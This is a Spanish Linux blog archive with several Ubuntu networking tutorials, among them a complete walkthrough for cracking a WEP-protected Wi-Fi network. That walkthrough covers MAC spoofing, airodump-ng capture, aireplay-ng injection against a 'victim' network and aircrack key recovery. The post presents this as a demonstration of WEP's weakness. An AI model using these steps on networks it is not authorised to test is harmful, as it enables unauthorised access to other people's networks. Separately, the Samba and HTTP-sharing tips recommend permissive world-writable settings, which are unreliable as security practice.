Mostrando entradas con la etiqueta Red. Mostrar todas las entradas
Mostrando entradas con la etiqueta Red. Mostrar todas las entradas

domingo, 17 de enero de 2010

Detecta intrusos en tu red con Ubuntu

Navegando el otro día en la red DuKKoN encontró un script en Tuxapuntes.com. Con el cual podías ver mediante notificaciones las intrusiones en tu red con Ubuntu, así que de ahí salio la idea de "modificar" un poquito ampliando y automatizando dicho script.
Para poder ejecutar este script necesitaremos algunos programas adicionales, los cuales podemos instalarlos antes de ejecutar el script, o bien esperar a que lo haga el propio script (Esto solo funcionara si se inicia el script sin parámetros y en ediciones posteriores a Karmic). En cualquier caso ejecuta esta línea en consola si deseas instalarlos tu personalmente (recomendado).
sudo aptitude install nmap samba-common-bin libnotify-bin net-tools
Puedes descargar el script desde aqui
Después de descargar le daremos permisos de ejecución, entramos dentro de la carpeta donde este el script abrimos un terminal y escribimos:
sudo chmod +x notifi-net.sh
En esta versión, no hace falta declarar la IP del router, ni la interfaz que se usa para conectarse (eth0, wlan0...). Además, a diferencia del original, si se ejecuta sin parámetros, gozaremos de una interfaz con zenity, para poder añadir/borrar IPs, MACs o Hosts conocidos.

Ahora, simplemente ejecuta con doble clic o desde la terminal:
/ruta/al/script/notifi-net.sh
Para ver las opciones ejecuta la ayuda escribiendo en modo consola:
./notifi-net.sh -h
MODO DEMONIO:

Ahora, si lo que queremos es añadirlo a modo de demonio y que el script trabaje en un segundo plano y se nos avise si entra algún intruso en la red, nos valdremos del programador de tareas de Linux (Cron).

Abriremos nuestra lista de tareas programadas escribiendo en terminal:
crontab -e
La primera vez, se nos preguntara el editor que queremos usar (optad por nano que es el mas simple). Una vez de abra el editor, añadimos esta linea con la cual ejecutara cada 30 minutos el script y nos notificara los intrusos:
*/30 * * * * /ruta/al/script/notifi-net.sh -s
O, si quieres guardar un log en en tu carpeta personal, mientras te notifica los intrusos:
*/30 * * * * /ruta/al/script/notifi-net.sh -l -s
Y si quieres guardar solo el log de intrusiones en tu carpeta personal:
*/30 * * * * /ruta/al/script/notifi-net.sh -l
Recuerda poner la ruta completa a tu script. Cuando acabes debes cerrar el editor nano con la combinación de teclas Ctrl+X. Se te preguntará si deseas conservar los cambios hechos al fichero, solo pulsa la S y después Intro

A ver quien se cuela ahora en mi red!

sábado, 10 de octubre de 2009

Comparte una carpeta usando HTTP

Hoy os traigo un tip muy útil para compartir una carpeta ya sea en red o por internet usando el protocolo HTTP (web). Lo lograremos gracias a python, el cual viene por defecto instalado en Ubuntu...

La cosa es tan sencilla como moverte a la ruta que quieres compartir con una terminal, por ejemplo:
cd /home/tu-usuario/Doumentos/
Una vez ubicado ejecuta el interprete de python de este modo:
python -m SimpleHTTPServer
Ya esta! Hasta que pulses Ctrl+C en la terminal o la cierres tendrás la carpeta compartida en el puerto 8000. Para probarlo abre esta dirección en tu navegador:
http://localhost:8000
Para acceder a través de la red interna deberás usar tu IP local, por ejemplo:
http://192.168.1.33:8000
Y si quieres que el directorio este disponible en internet dirigir el puerto 8000 de tu router a la IP local de tu PC. Entonces accederás usando la IP del router (IP externa) o usando un dominio como decíamos en el post anterior.

Un Saludo!

Fuente: Paraiso Linux

jueves, 8 de octubre de 2009

Dyndns. IPs estaticas con GNU/Linux

Dyndns.org es un servicio gratuito orientado a personas que tengan una IP dinámica (de las que van cambiando) y necesitan un IP que no cambie nunca (IP Estática).


Evidentemente, si conoces algo básico de redes, no se puede substituir una IP por otra salvo que seas el proveedor de la IP. Como podrás imaginar, si no conocías ya el servicio, lo que hace dyndns es asociar un hostname (dirección de internet) del tipo usuario.dyndns.org a tu IP. Como decíamos antes, tu proveedor de internet puede que te cambie tu dirección IP sin avisar, incluso mientras estas conectado. El servicio de Dyndns incluye un pequeño software que se encarga de actualizar tu información para que la dirección registrada siempre apunte hacia tu equipo, sea cual sea la IP que tengas.


Bien, la cosa es que el modo de hacerse, según los chicos de dyndns.org usando un software llamado ddclient sobre sistemas rpm (Red Hat es el que usan como ejemplo, cuyo sistema de gestión de servicios o demonios difiere de las derivadas de Debian, como Ubuntu), me parece algo complejo para un usuario medio de escritorio. Así que estuve buscando fuentes externas y como no, existen mil formas de hacerlo con sistemas Linux. Finalmente me decanté por esta opción que pasa por instalar un pequeño servicio, que muy probablemente podáis encontrar en otras distribuciones (ipcheck), crear un sencillísimo script de shell (que funcionara en cualquier "distro" basada en POSIX y con el interprete sh, osea todos los GNU/Linux y quizás otras como BSD o Solaris...) y programar una tarea para que ejecute dicho script cada cierto tiempo...


Vamos a instalar el servicio que nos actualizara nuestra información de dyndns.org con nuestra IP, desde Ubuntu abre una terminal y escribe:
sudo aptitude install ipcheck

Ahora crearemos un directorio para nuestra configuración personal (evitando tocar la configuración general del sistema). Nuevamente en una terminal, situaos en vuestro directorio personal y escribid estos comando para crear la carpeta y el script:
cd

mkdir ~/.dyndns
touch ~/.dyndns/dyndns-update.sh
chmod 700 ~/.dyndns/dyndns-update.sh
Con el último comando lo hemos hecho ejecutable y quitamos permisos de lectura/escritura a otros usuarios. Vamos a editar el contenido del script (que ahora mismo esta vacío):
gedit ~/.dyndns/dyndns-update.sh
Pega este texto en el editor:
#!/bin/sh

USERNAME=undukito
PASSWORD=********
HOSTNAME=undukito.dyndns.org

cd ~/.dyndns
if [ -f ~/.dyndns/ipcheck.dat ]; then
  /usr/sbin/ipcheck -r checkip.dyndns.org:8245 \
 $USERNAME $PASSWORD $HOSTNAME
else
  /usr/sbin/ipcheck --makedat -r checkip.dyndns.org:8245 \
 $USERNAME $PASSWORD $HOSTNAME
fi

Ahora substituye en las 3 primeras lineas (omitiendo la de #!/bin/sh), poniendo vuestros datos de dyndns.org y el dominio que queréis mantener actualizado.  Cierra el editor guardando los cambios y a partir de ahora cada vez que ejecutes el script creado (el archivo .sh), se actualizará la IP de vuestro dominio por la que tengáis en ese momento en el PC (o el router mas bien, jeje). ¿Pero como hacer para que se ejecute cada X tiempo, de forma automática?

Esto lo lograremos con el poderoso (pero sencillo) programador de tareas de Unix; Cron 

Si hechas un vistazo al enlace dado comprobaras que programar una tarea de cron es tan sencillo como añadir el momento que quieres que se ejecute y que quieres ejecutar a un fichero de texto y ya esta!
Añadiré que al momento de introducir el momento * es equivalente a "todo".
Ejecuta este comando en una terminal para abrir el fichero de cron de tu usuario:
crontab -e
Rellena una nueva linea abajo. Los 5 primeros datos serán referentes a cuando se ejecuta: minutos-horas-diadelmes-mes-diadesemana. El 6º será la ruta del script. Los minutos pueden ser del 0 al 59 o todos (*). Las horas pueden ser de 0 a 23 o todas (*). Los días del mes pueden ser del 1 al 31 o todos (*). Los meses pueden ser del 1 al 12 o todos (*). Y los días de la semana serían desde el 0 (Lunes) hasta el 6 (Domingo) o todos (*). 
También puede decirle que se ejecute a varios minutos concretos (u horas o lo que sea) poniéndolos entre comas. Por ejemplo una alarma que me avise del trabajo la programaría así:
# m     h    dom mon       dow       command
   15  9,16    *      *    0,1,2,3,4,5   /home/dukkon/alarma

Y se ejecutará la alarma a las 9:15 y las 16:15 todos los días menos el Domingo.


Pero vamos a programar el "actualizador de dyndns". En mi caso he optado por que se actualice cada hora por que el proveedor que tengo actualmente es algo malote y me cambia la IP a cada momento. Así que le digo al cron que me ejecute el actualizador el minuto 0 de cualquier hora, día o mes. Esta es mi linea de crontab:

# m h  dom mon dow   command
0 * * * * /home/dukkon/.dyndns/dyndns-update.sh

Así se ejecutara el "actualizador" el minuto sesenta de todas las horas, todos los días.
 

Si usas tu equipo como servidor web, para probar trabajos, o simplemente para acceder a los datos de tu equipo remotamente, seguro te vendrá bien tenerlo fácilmente accesible mediante un nombre de los que dyndns te puede brindar.


Fuente: Pixels and Politics

viernes, 28 de agosto de 2009

Media Server con Ushare

Vamos a configurar hoy ushare, un programa servidor que convierte tu PC en un servidor multimedia para que otros dispositivos, como la XBOX360 o la PS3, puedan conectarse y reproducir los contenidos del PC en la televisión del salón a través de la red cableada o bien via Wi-Fi.

Ushare se encuentra disponible en los repositorios de Ubuntu, así que puedes instalarlo desde una terminal con el comando:
sudo aptitude install ushare
Una vez instalado hay que darle una configuración correcta, así que a editar el fichero con los permisos de administrador:
sudo nano /etc/ushare.conf
La verdad es que son pocas las opciones a tocar. Omitiendo comentarios, estas son todas las opciones:


#Lo primero el nombre con el que aparecerá tu PC en la 360 o la PS3
USHARE_NAME=Yeloz
#Interfaz del PC que debe usar ushare para comunicarse
#Mira cual es en icono de red de la bandeja de sistema de gnome
USHARE_IFACE=eth0
#Puerto a usar, no pongas nada para usar el que va por defecto
USHARE_PORT=
#Puerto para usar en Telnet, no va a ser necesario, je
USHARE_TELNET_PORT=
#Aquí ponemos la carpeta o carpetas (separadas por comas) que quieras compartir
USHARE_DIR=/media/media
#Tampoco hace falta usar esta opción
USHARE_OVERRIDE_ICONV_ERR=
#Pon yes para activar la interfaz web, pero mejor no usarlo, poco útil
USHARE_ENABLE_WEB=
#Activa o desactiva telnet, tampoco lo usamos
USHARE_ENABLE_TELNET=
#Aquí activas el soporte para la XBOX360
USHARE_ENABLE_XBOX=yes
#Aquí el soporte de Playstation 3
USHARE_ENABLE_DLNA=

Atención, cerciórate de que las últimas cuatro opciones comienzan con USHARE_, igual que las demás. En la versión incluida en Ubuntu 9.10, 9.04 y 8.10 el fichero de configuración traía mal esas 4 ultimas lineas impidiendo que el programa funcionase correctamente.

Una vez configurado hay que reiniciar el servicio o demonio de ushare. Solo lo haremos cuando modifiquemos el fichero de configuración, por lo demás, el solito se iniciara en cada arranque, y como servicio que es, sera totalmente independiente de las sesiones gráficas de usuario. El comando para reiniciar el demonio, como decíamos es:

sudo /etc/init.d/ushare restart
Y desde ese momento estarán disponibles los contenidos multimedia para reproducirlos con el Televisor del salón y con el mando a distancia de la consola que tengas :P

martes, 2 de junio de 2009

Captura enlaces ed2k (elinks) con Firefox en Ubuntu

Personalmente no uso demasiado la 'mula' por varios motivos (publicidad agresiva en paginas de elinks, lentitud en descargas, alto porcentaje de FAKEs, etc...), pero conozco mucha gente que sigue usando la red por excelencia del P2P, estoy hablando por supuesto del emule y sus distintos 'ports' como amule.

Sin embargo, los nuevos usuarios de GNU/Linux me han preguntado a veces: "¿Como puedo sincronizar las paginas de descargas con el amule?". Así que vamos a hacerlo en un periquete (apenas son 3 pasos...).

Primero hay que cerrar el amule, si lo tienes funcionando. Después instala el paquete amule-utils (este contiene el programa ed2k que es el encargado de manejar los elinks). Puedes hacerlo desde Synaptic (Sistema -> Administración -> Gestor de Paquetes Synaptic) o desde una terminal con el siguiente comando:

sudo aptitude install amule-utils

Listo. Ahora toca configurar el Firefox. En la barra de direcciones escribe esto:

about:config
Tras una advertencia del daño que puedes causar a Firefox, accederás a un listado de variables (con sus valores) con las preferencias avanzadas del navegador:


Usa el filtro superior con el texto ed2k para filtrar los resultados:


Lo normal es que no aparezca ninguna variable al aplicar el filtro. Solo aparecerán las dos que vamos a crear a continuación. Para crearlas pulsa el botón derecho del ratón en el área y aparecerá un menú emergente para modificar las variables o para crearlas. Al crearlas hay que indicar si serán Lógicas, Cadenas o Enteros:




Dicho esto, creamos una nueva variable de tipo Lógico y le pones el nombre:

network.protocol-handler.external.ed2k
El valor debe ser TRUE, después crea otra variable de tipo Cadena con el nombre:

network.protocol-handler.app.ed2k
El valor de esta variable debe ser la ruta donde esta instalado el programa edk2 el que instalamos antes con el paquete amule-utils. En ubuntu se instala en la ruta /usr/bin/ed2k pero si no estas seguro puedes localizar la ruta exacta del programa con este comando en una terminal:
which ed2k
En definitiva te debe quedar igual que en mi imagen:


Ojo de ponerlo todo igual ya que un fallo puede hacer que firefox deje de funcionar.

NOTA: Si no estas seguro de lo que haces quizás prefieras hacer un backup de los marcadores que tengas. Puedes hacerlo en Marcadores -> Organizar marcadores del menú de Firefox. Se abrirá el Catálogo de Marcadores en el que la opción Importar y respaldar te permitirá exportar o importar los marcadores en un archivo html.

Una vez con todo esto listo reinicia el Firefox y prueba a usar los elinks de cualquier web.

P.D. Si has conseguido cargarte el Firefox, realmente lo que has estropeado solo es tu configuración de usuario, es decir borra tu conflagración y tu Firefox quedara como nuevo. Para ello mete estos comandos en una terminal:
killall firefox
rm -rf ~/.mozilla
Después restaura tus marcadores si hiciste un backup de estos y ya puedes volver a empezar de nuevo jeje.

domingo, 22 de febrero de 2009

WifiSlax y las claves WEP

Esta vez no voy a trabajar sobre mi entorno habitual. Voy a mostrar lo poco seguras de las claves WEP en las redes Wifi usando la distro mas aclamada en este campo: WifiSlax.

Concretamente la versión 3.1 completa de Wifislax(existe una versión reducida, la cual no he probado y desconozco si incluirá los scripts necesarios para lo que aquí vamos a tratar). También diré que en mi caso use una Intel PRO Wireless 3945, la wifi que integra el portátil de pruebas :)

La distro se puede descargar de: wifislax.com En la sección de descargas. Al momento de escribir esto no se puede descargar usando firefox por algún error interno... Recomiendan usar otro navegador para la descarga, lo que pasa es que en Linux ya tenemos el gestor de descargas wget, así que nos abrimos un terminal donde pondremos:

wget http://download.wifislax.com:8080/wifislax-3.1.iso
Substituid la dirección de descarga si no es la misma (la dirección la obtienes en la sección de descargas de la web de Wifislax) y wget os lo descargara sin problemas.

En fin, quemamos la ISO en un CD, lo metemos en el portátil/pc y lo arrancamos.... Tras una buena espera al fin la consola nos devuelve el control para que iniciemos sesión, justo arriba vemos unas lineas que nos dicen como operar a continuación:
Accede como root usando como clave toor, después inicia el entorno gráfico tipeando startx enseguida tendrás a la vista un escritorio KDE...

Lo primero es poner a funcionar el modulo con el driver de la red wifi: Vamos a Inicio/Asistencia Chipset/Intel pro wireless/Cargar ipw3945 inyección -ipwraw-ng (en caso de otro chip wifi habrá que localizarlo entre los disponibles, o puede que el propio kernel lo soporte....) En cualquier caso se iniciara un script, espera que termine, no la cierres aun ;)

Si la red donde pretendes hacer la prueba es la que conectas habitualmente puede que te interese falsear la mac de tu tarjeta wifi, así que tipea estos comandos:


airmon-ng stop wifi0 (esto ultimo es un CERO)
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0 (esa sera ahora nuestra mac)
airmon-ng start wifi0
Llegados a este punto necesitar saber los datos de la red que sera la víctima:
airodump-ng wifi0
Agranda la ventana para verlo todo bien y anota el BSSID (primera columna, es una mac), el ESSID (el nombre publico de la red) y el canal en el cual opera, después finaliza el proceso (Ctrl + C) y vamos a levantar la wifi y empezar a capturar paquetes en el canal que anotaste (que llamaremos X):

ifconfig wifi0 up
iwconfig wifi0 rate 1M
(respeta mayúsculas y minúsculas, que esto es *NIX)
cd <- para situarnos en /root
airodump-ng -w P --channel X wifi0
Deja esta Shell (consola) abierta capturando paquetes y abre otra para empezar a inyectar, ahora usaremos la mac víctima (el BSSID), que en el ejemplo usare el valor XX:XX:XX:XX:XX:XX

aireplay -3 -b XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 wifi0
Esto empezara a enviar paquetes a la red víctima, haciendo que el anterior proceso evite el resto de redes del mismo canal, y al mismo tiempo garantiza una mayor información sobre la red.
Deja esas dos consolas funcionando y abre una tercera shell:

aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX -e ESSID -h 00:11:22:33:44:55 wifi0
osea: aireplay-ng -1 0 -a (mac víctima) -e (nombre de la red) -h (tu mac, falseada) wifi0
Esta ultima orden te tiene que dar un mensaje tal que:

Association successful :-)
Si, con el smiley incluido. Además no debe tardar mas de 5 seg en aparecer esta linea, de no ser así, termina el proceso (Ctrl+C) y vuelve a ejecutarlo. Cuando te de el mensaje y te devuelva el control la consola, minimiza esta (la usaremos otra vez después), centra tu atención en la primera shell que usaste, la que esta capturando con el airodump... si la maximizáis veréis la información mas clara. Hay una columna llamada DATA, bien hay es donde pone la cantidad de datos que has capturado. Te recomiendo hacer como mínimo unos 250000 para empezar a desencriptar, esto se logra con esperar unos 10-15 minutos capturando (arriba de las columnas pone el tiempo que esta capturando). Si no tienes demasiada prisa déjalo capturando ya que a mas datos, mas fácil/rápido/seguro es desenctriptar después.

Estos datos se guardan en un fichero en el home (como estas iniciado como root tu home esta directamente en /root). Al ejecutar el airodump le pusimos de nombre al fichero P pero el airodump los numera, así pues el fichero se llamara P-01.cap con que vamos a ello, recupera la shell que tienes minimizada en espera y tipea:


aircrack-ptw P-01.cap
Dejalo correr sin cerrar las otras consolas, así en caso de no encontrar nada, como el airodump sigue capturando datos, puedes intentarlo mas tarde con el fichero de datos mas completo. Al final te devolverá la clave WEP tanto en hexadecimal, como en ASCII.


Y todo esto con que fin? Sencillo, tan rápido uno comprueba lo frágil de una red WEP, se plantean pocas dudas para cambiar su propia clave de tipo WPA y con algún tipo de encriptación más segura...

La seguridad empieza por el usuario, no puedes dejar la puerta de casa abierta y quejarte de que te robaron.

Fuente: Novatillasku

martes, 18 de noviembre de 2008

Compartir ficheros con samba

Samba es la mejor herramienta en derivados de UNIX para compartir recursos con otros equipos y también para acceder a los recursos que puedan tener compartidos. (También es la única que conozco, pero tampoco soy ningún gurú).

Comenzaremos por instalar el demonio samba con todas sus dependencias desde una terminal:
sudo aptitude install samba
Y después editar el archivo de configuración /etc/samba/smb.conf con cualquier editor de texto, yo usare nano:
sudo nano /etc/samba/smb.conf
Hay varias opciones que nos interesan. Yo indicare la forma de hacer funcionar el demonio sin demasiadas complicaciones. Las lineas precedidas de #(almohadillas) son comentarios. Las demás son opciones. Vamos a centrarnos en lo que son opciones, ignorando los comentarios.

Buscamos (Ctrl+W, desde nano) la línea que diga algo como :
workgroup = MSHOME
Debes cambiar MSHOME por el grupo de trabajo al que pertenecen las maquinas con quien quieras compartir recursos.

Busca ahora algo como guest account y ponlo de esta forma, (de no aparecer añade la opción):
; guest account = nobody (incluyendo el punto y coma inicial)
Después haz lo propio con la opción invalid users, y cambiala (o añadela), por:
invalid users = root
Ahora busca la linea que diga:
; security = user
Y la cambiamos por:
; security = share
También has de buscar (recordemos que es Ctrl+W desde el editor nano) usershare allow guests y ponerla de este modo:

usershare allow guests = yes
Ahora solo resta añadir, al final del fichero, los recursos que quieras compartir. Esta es la estructura que puedes seguir:
[Publico] -->Aquí puedes poner el nombre que quieras
path = /home/usuario/Publico/ --> ruta del directorio a compartir
avaliable = yes --> Disponibilidad/Visibilidad del recurso (si o no)
browsable = yes --> Permite navegar en los subdirectorios (si o no)
public = yes --> Acceso a cualquiera o solo a quien tenga cuenta en el equipo (si o no)
writable = yes --> Con derechos de escritura (si o no)
NOTA: Si pones la opción public = no deberás crear un usuario en la base de datos de samba para que ese usuario pueda acceder al recurso:
sudo smbpasswd -a usuario

NOTA2: Los permisos del sistema a la carpeta compartida deben permitir las opciones dadas en samba.
Para cambiar los permisos de sistema a una carpeta:
chmod 777 /home/usuario/Publico
Si no quieres que tengan permisos de escritura usa:
chmod 775 /home/usuario/Publico
Y cambia la opción writable del recurso compartido en el archivo de samba a no.

Cierra el editor nano (Ctrl+X), salvando los cambios y reinicia el demonio de samba:
sudo /etc/init.d/samba restart
Y tras esperar un rato (tarda un poco en refrescar todo) podrás ver tus carpetas compartidas desde los demás equipos.

Tan solo queda la posibilidad de que el recurso a compartir sea una carpeta dentro de otra partición o disco duro. En este caso no podrás cambiar los permisos, ya que son dados por el sistema al realizar el montaje de la partición.

Yo recomiendo usar /etc/fstab para programar las particiones que han de ser montadas en el inicio y con que permisos se han de montar.
sudo nano /etc/fstab
Pondré un ejemplo de partición montada en /etc/fstab y con los permisos necesarios para compartir con samba:
# /dev/sdb1
UUID=26BC0818BC07E0E3 /media/discoE ntfs defaults,umask=002,gid=46 0 1
La primera linea es un comentario para identificar a que partición hace referencia la linea siguiente, puede poner lo que quieras. La segunda linea es la importante;
El UUID (el identificador universal de la partición, Universal Unique IDentifier) de una partición lo puedes obtener con:
sudo vol_id -u /dev/sda3 (reemplaza a por el disco en cuestión -a,b,c,etc- y 3 por la partición que sea)
Después del UUID hay que poner la dirección a la carpeta vacia donde se debe montar la partición, y el sistema de archivos de la esta (ext4,ext3, vfat, ntfs...). La opción umask es la que nos interesa, en mi caso la puse en 002, es como chmod, pero a la inversa, osea va restando desde los números mas altos, que seria 777 (acceso total). 777 - 002 = 775. Así fstab monta la partición en la ruta dada con máximos derechos al dueño y grupo y al resto solo derechos de lectura y ejecución. Y ya puedes compartir la partición, o una carpeta dentro de esta, con el resto de la red. Si quieres que se pueda escribir desde la red el umask deberá ser 000.

Por ultimo tras modificar fstab habría que desmontar y volver a montar todo:

sudo umount -a
sudo mount -a
Y volver a reiniciar el demonio Samba:

sudo /etc/init.d/samba restart
Con todo esto ya podemos compartir archivos sabiendo que permisos son los que damos a cada recurso compartido.